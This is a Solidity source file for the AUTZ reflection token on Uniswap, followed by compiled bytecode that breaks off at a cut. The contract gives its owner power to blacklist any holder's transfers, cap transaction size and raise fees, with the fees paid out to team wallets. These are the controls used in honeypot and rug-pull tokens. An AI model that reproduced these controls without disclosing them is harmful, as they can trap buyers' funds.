interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract AUTZToken is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "AUTZ Token";
string private constant _symbol = "AUTZ";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisT = 1;
uint256 private _edistT = 10;
uint256 private _previousredisT = _redisT;
uint256 private _previousedistT = _edistT;
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 5000000000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisT == 0 && _edistT == 0) return;
_previousredisT = _redisT;
_previousedistT = _edistT;
_redisT = 0;
_edistT = 0;
}
function restoreAllFee() private {
_redisT = _previousredisT;
_edistT = _previousedistT;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (from == uniswapV2Pair || to == uniswapV2Pair) {
require(tradingOpen, "Trading is not enabled yet");
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function launchAutz() external onlyOwner() {
require(!tradingOpen, "trading is already started");
tradingOpen = true;
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisT, _edistT);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisT,
uint256 edistT
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisT).div(100);
uint256 tTeam = tAmount.mul(edistT).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function modredisT(uint256 redisT) external onlyOwner() {
require(redisT >= 0 && redisT <= 25, 'redisT should be in 0 - 25');
_redisT = redisT;
}
function modedistT(uint256 edistT) external onlyOwner() {
require(edistT >= 0 && edistT <= 25, 'edistT should be in 0 - 25');
_edistT = edistT;
}
} | 0x6080604052600436106101385760003560e01c806370a08231116100ab5780638da5cb5b1161006f5780638da5cb5b146103e657806395d89b4114610411578063a9059cbb1461043c578063c3c8cd8014610479578063d543dbeb14610490578063dd62ed3e146104b95761013f565b806370a0823114610315578063715018a61461035257806372c23e75146103695780637d1db4a51461039257806381b517c7146103bd5761013f565b806318160ddd116100fd57806318160ddd1461021757806323b872dd14610242578063313ce5671461027f57806349bd5a5e146102aa5780636b999053146102d55780636fc3eaec146102fe5761013f565b8062b8cf2a1461014457806306fdde031461016d578063095ea7b3146101985780630cd56606146101d55780631694505e146101ec5761013f565b3661013f57005b600080fd5b34801561015057600080fd5b5061016b600480360381019061016691906124bb565b6104f6565b005b34801561017957600080fd5b50610182610620565b60405161018f9190612884565b60405180910390f35b3480156101a457600080fd5b506101bf60048036038101906101ba919061247b565b61065d565b6040516101cc919061284e565b60405180910390f35b3480156101e157600080fd5b506101ea61067b565b005b3480156101f857600080fd5b5061020161077d565b60405161020e9190612869565b60405180910390f35b34801561022357600080fd5b5061022c6107a3565b6040516102399190612a66565b60405180910390f35b34801561024e57600080fd5b5061026960048036038101906102649190612428565b6107b5565b604051610276919061284e565b60405180910390f35b34801561028b57600080fd5b5061029461088e565b6040516102a19190612adb565b60405180910390f35b3480156102b657600080fd5b506102bf610897565b6040516102cc9190612833565b60405180910390f35b3480156102e157600080fd5b506102fc60048036038101906102f7919061238e565b6108bd565b005b34801561030a57600080fd5b506103136109ad565b005b34801561032157600080fd5b5061033c6004803603810190610337919061238e565b610a1f565b6040516103499190612a66565b60405180910390f35b34801561035e57600080fd5b50610367610a70565b005b34801561037557600080fd5b50610390600480360381019061038b9190612504565b610bc3565b005b34801561039e57600080fd5b506103a7610cb3565b6040516103b49190612a66565b60405180910390f35b3480156103c957600080fd5b506103e460048036038101906103df9190612504565b610cb9565b005b3480156103f257600080fd5b506103fb610da9565b6040516104089190612833565b60405180910390f35b34801561041d57600080fd5b50610426610dd2565b6040516104339190612884565b60405180910390f35b34801561044857600080fd5b50610463600480360381019061045e919061247b565b610e0f565b604051610470919061284e565b60405180910390f35b34801561048557600080fd5b5061048e610e2d565b005b34801561049c57600080fd5b506104b760048036038101906104b29190612504565b610ea7565b005b3480156104c557600080fd5b506104e060048036038101906104db91906123e8565b610ff1565b6040516104ed9190612a66565b60405180910390f35b6104fe611078565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461058b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610582906129c6565b60405180910390fd5b60005b815181101561061c576001600c60008484815181106105b0576105af612e47565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061061490612da0565b91505061058e565b5050565b60606040518060400160405280600a81526020017f4155545a20546f6b656e00000000000000000000000000000000000000000000815250905090565b600061067161066a611078565b8484611080565b6001905092915050565b610683611078565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610710576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610707906129c6565b60405180910390fd5b601160149054906101000a900460ff1615610760576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610757906128c6565b60405180910390fd5b6001601160146101000a81548160ff021916908315150217905550565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600069d3c21bcecceda1000000905090565b60006107c284848461124b565b610883846107ce611078565b61087e8560405180606001604052806028815260200161324160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610834611078565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172f9092919063ffffffff16565b611080565b600190509392505050565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6108c5611078565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610952576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610949906129c6565b60405180910390fd5b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109ee611078565b73ffffffffffffffffffffffffffffffffffffffff1614610a0e57600080fd5b6000479050610a1c81611793565b50565b6000610a69600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188e565b9050919050565b610a78611078565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afc906129c6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610bcb611078565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4f906129c6565b60405180910390fd5b60008110158015610c6a575060198111155b610ca9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca090612a06565b60405180910390fd5b8060088190555050565b60125481565b610cc1611078565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d45906129c6565b60405180910390fd5b60008110158015610d60575060198111155b610d9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9690612986565b60405180910390fd5b8060098190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4155545a00000000000000000000000000000000000000000000000000000000815250905090565b6000610e23610e1c611078565b848461124b565b6001905092915050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e6e611078565b73ffffffffffffffffffffffffffffffffffffffff1614610e8e57600080fd5b6000610e9930610a1f565b9050610ea4816118fc565b50565b610eaf611078565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f33906129c6565b60405180910390fd5b60008111610f7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7690612966565b60405180910390fd5b610faf6064610fa18369d3c21bcecceda1000000611b8490919063ffffffff16565b611bff90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601254604051610fe69190612a66565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e790612a46565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611160576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115790612926565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161123e9190612a66565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b290612a26565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561132b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611322906128a6565b60405180910390fd5b6000811161136e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611365906129e6565b60405180910390fd5b611376610da9565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113e457506113b4610da9565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561166c57601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114925750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156114e757601160149054906101000a900460ff166114e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114dd906128e6565b60405180910390fd5b5b6012548111156114f657600080fd5b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561159a5750600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6115a357600080fd5b60006115ae30610a1f565b905060125481106115bf5760125490505b601160159054906101000a900460ff1615801561162a5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156116425750601160169054906101000a900460ff165b1561166a57611650816118fc565b600047905060008111156116685761166747611793565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806117135750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561171d57600090505b61172984848484611c49565b50505050565b6000838311158290611777576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176e9190612884565b60405180910390fd5b50600083856117869190612c7d565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6117e3600284611bff90919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561180e573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61185f600284611bff90919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561188a573d6000803e3d6000fd5b5050565b60006006548211156118d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118cc90612906565b60405180910390fd5b60006118df611c76565b90506118f48184611bff90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561193457611933612e76565b5b6040519080825280602002602001820160405280156119625781602001602082028036833780820191505090505b509050308160008151811061197a57611979612e47565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611a1c57600080fd5b505afa158015611a30573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a5491906123bb565b81600181518110611a6857611a67612e47565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611acf30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611080565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611b33959493929190612a81565b600060405180830381600087803b158015611b4d57600080fd5b505af1158015611b61573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b600080831415611b975760009050611bf9565b60008284611ba59190612c23565b9050828482611bb49190612bf2565b14611bf4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611beb906129a6565b60405180910390fd5b809150505b92915050565b6000611c4183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611ca1565b905092915050565b80611c5757611c56611d04565b5b611c62848484611d47565b80611c7057611c6f611f12565b5b50505050565b6000806000611c83611f26565b91509150611c9a8183611bff90919063ffffffff16565b9250505090565b60008083118290611ce8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cdf9190612884565b60405180910390fd5b5060008385611cf79190612bf2565b9050809150509392505050565b6000600854148015611d1857506000600954145b15611d2257611d45565b600854600a81905550600954600b81905550600060088190555060006009819055505b565b600080600080600080611d5987611f8b565b955095509550955095509550611db786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ff390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e4c85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461203d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e988161209b565b611ea28483612158565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611eff9190612a66565b60405180910390a3505050505050505050565b600a54600881905550600b54600981905550565b60008060006006549050600069d3c21bcecceda10000009050611f5e69d3c21bcecceda1000000600654611bff90919063ffffffff16565b821015611f7e5760065469d3c21bcecceda1000000935093505050611f87565b81819350935050505b9091565b6000806000806000806000806000611fa88a600854600954612192565b9250925092506000611fb8611c76565b90506000806000611fcb8e878787612228565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061203583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061172f565b905092915050565b600080828461204c9190612b9c565b905083811015612091576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161208890612946565b60405180910390fd5b8091505092915050565b60006120a5611c76565b905060006120bc8284611b8490919063ffffffff16565b905061211081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461203d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61216d82600654611ff390919063ffffffff16565b6006819055506121888160075461203d90919063ffffffff16565b6007819055505050565b6000806000806121be60646121b0888a611b8490919063ffffffff16565b611bff90919063ffffffff16565b905060006121e860646121da888b611b8490919063ffffffff16565b611bff90919063ffffffff16565b9050600061221182612203858c611ff390919063ffffffff16565b611ff390919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806122418589611b8490919063ffffffff16565b905060006122588689611b8490919063ffffffff16565b9050600061226f8789611b8490919063ffffffff16565b905060006122988261228a8587611ff390919063ffffffff16565b611ff390919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006122c46122bf84612b1b565b612af6565b905080838252602082019050828560208602820111156122e7576122e6612eaa565b5b60005b8581101561231757816122fd8882612321565b8452602084019350602083019250506001810190506122ea565b5050509392505050565b60008135905061233081613212565b92915050565b60008151905061234581613212565b92915050565b600082601f8301126123605761235f612ea5565b5b81356123708482602086016122b1565b91505092915050565b60008135905061238881613229565b92915050565b6000602082840312156123a4576123a3612eb4565b5b60006123b284828501612321565b91505092915050565b6000602082840312156123d1576123d0612eb4565b5b60006123df84828501612336565b91505092915050565b600080604083850312156123ff576123fe612eb4565b5b600061240d85828601612321565b925050602061241e85828601612321565b9150509250929050565b60008060006060848603121561244157612440612eb4565b5b600061244f86828701612321565b935050602061246086828701612321565b925050604061247186828701612379565b9150509250925092565b6000806040838503121561249257612491612eb4565b5b60006124a085828601612321565b92505060206124b185828601612379565b9150509250929050565b6000602082840312156124d1576124d0612eb4565b5b600082013567ffffffffffffffff8111156124ef576124ee612eaf565b5b6124fb8482850161234b565b91505092915050565b60006020828403121561251a57612519612eb4565b5b600061252884828501612379565b91505092915050565b600061253d8383612549565b60208301905092915050565b61255281612cb1565b82525050565b61256181612cb1565b82525050565b600061257282612b57565b61257c8185612b7a565b935061258783612b47565b8060005b838110156125b857815161259f8882612531565b97506125aa83612b6d565b92505060018101905061258b565b5085935050505092915050565b6125ce81612cc3565b82525050565b6125dd81612d06565b82525050565b6125ec81612d2a565b82525050565b60006125fd82612b62565b6126078185612b8b565b9350612617818560208601612d3c565b61262081612eb9565b840191505092915050565b6000612638602383612b8b565b915061264382612eca565b604082019050919050565b600061265b601a83612b8b565b915061266682612f19565b602082019050919050565b600061267e601a83612b8b565b915061268982612f42565b602082019050919050565b60006126a1602a83612b8b565b91506126ac82612f6b565b604082019050919050565b60006126c4602283612b8b565b91506126cf82612fba565b604082019050919050565b60006126e7601b83612b8b565b91506126f282613009565b602082019050919050565b600061270a601d83612b8b565b915061271582613032565b602082019050919050565b600061272d601a83612b8b565b91506127388261305b565b602082019050919050565b6000612750602183612b8b565b915061275b82613084565b604082019050919050565b6000612773602083612b8b565b915061277e826130d3565b602082019050919050565b6000612796602983612b8b565b91506127a1826130fc565b604082019050919050565b60006127b9601a83612b8b565b91506127c48261314b565b602082019050919050565b60006127dc602583612b8b565b91506127e782613174565b604082019050919050565b60006127ff602483612b8b565b915061280a826131c3565b604082019050919050565b61281e81612cef565b82525050565b61282d81612cf9565b82525050565b60006020820190506128486000830184612558565b92915050565b600060208201905061286360008301846125c5565b92915050565b600060208201905061287e60008301846125d4565b92915050565b6000602082019050818103600083015261289e81846125f2565b905092915050565b600060208201905081810360008301526128bf8161262b565b9050919050565b600060208201905081810360008301526128df8161264e565b9050919050565b600060208201905081810360008301526128ff81612671565b9050919050565b6000602082019050818103600083015261291f81612694565b9050919050565b6000602082019050818103600083015261293f816126b7565b9050919050565b6000602082019050818103600083015261295f816126da565b9050919050565b6000602082019050818103600083015261297f816126fd565b9050919050565b6000602082019050818103600083015261299f81612720565b9050919050565b600060208201905081810360008301526129bf81612743565b9050919050565b600060208201905081810360008301526129df81612766565b9050919050565b600060208201905081810360008301526129ff81612789565b9050919050565b60006020820190508181036000830152612a1f816127ac565b9050919050565b60006020820190508181036000830152612a3f816127cf565b9050919050565b60006020820190508181036000830152612a5f816127f2565b9050919050565b6000602082019050612a7b6000830184612815565b92915050565b600060a082019050612a966000830188612815565b612aa360208301876125e3565b8181036040830152612ab58186612567565b9050612ac46060830185612558565b612ad16080830184612815565b9695505050505050565b6000602082019050612af06000830184612824565b92915050565b6000612b00612b11565b9050612b0c8282612d6f565b919050565b6000604051905090565b600067ffffffffffffffff821115612b3657612b35612e76565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612ba782612cef565b9150612bb283612cef565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612be757612be6612de9565b5b828201905092915050565b6000612bfd82612cef565b9150612c0883612cef565b925082612c1857612c17612e18565b5b828204905092915050565b6000612c2e82612cef565b9150612c3983612cef565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612c7257612c71612de9565b5b828202905092915050565b6000612c8882612cef565b9150612c9383612cef565b925082821015612ca657612ca5612de9565b5b828203905092915050565b6000612cbc82612ccf565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612d1182612d18565b9050919050565b6000612d2382612ccf565b9050919050565b6000612d3582612cef565b9050919050565b60005b83811015612d5a578082015181840152602081019050612d3f565b83811115612d69576000848401525b50505050565b612d7882612eb9565b810181811067ffffffffffffffff82111715612d9757612d96612e76565b5b80604052505050565b6000612dab82612cef565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612dde57612ddd612de9565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b71000000000000000000000000000000000000000000000000000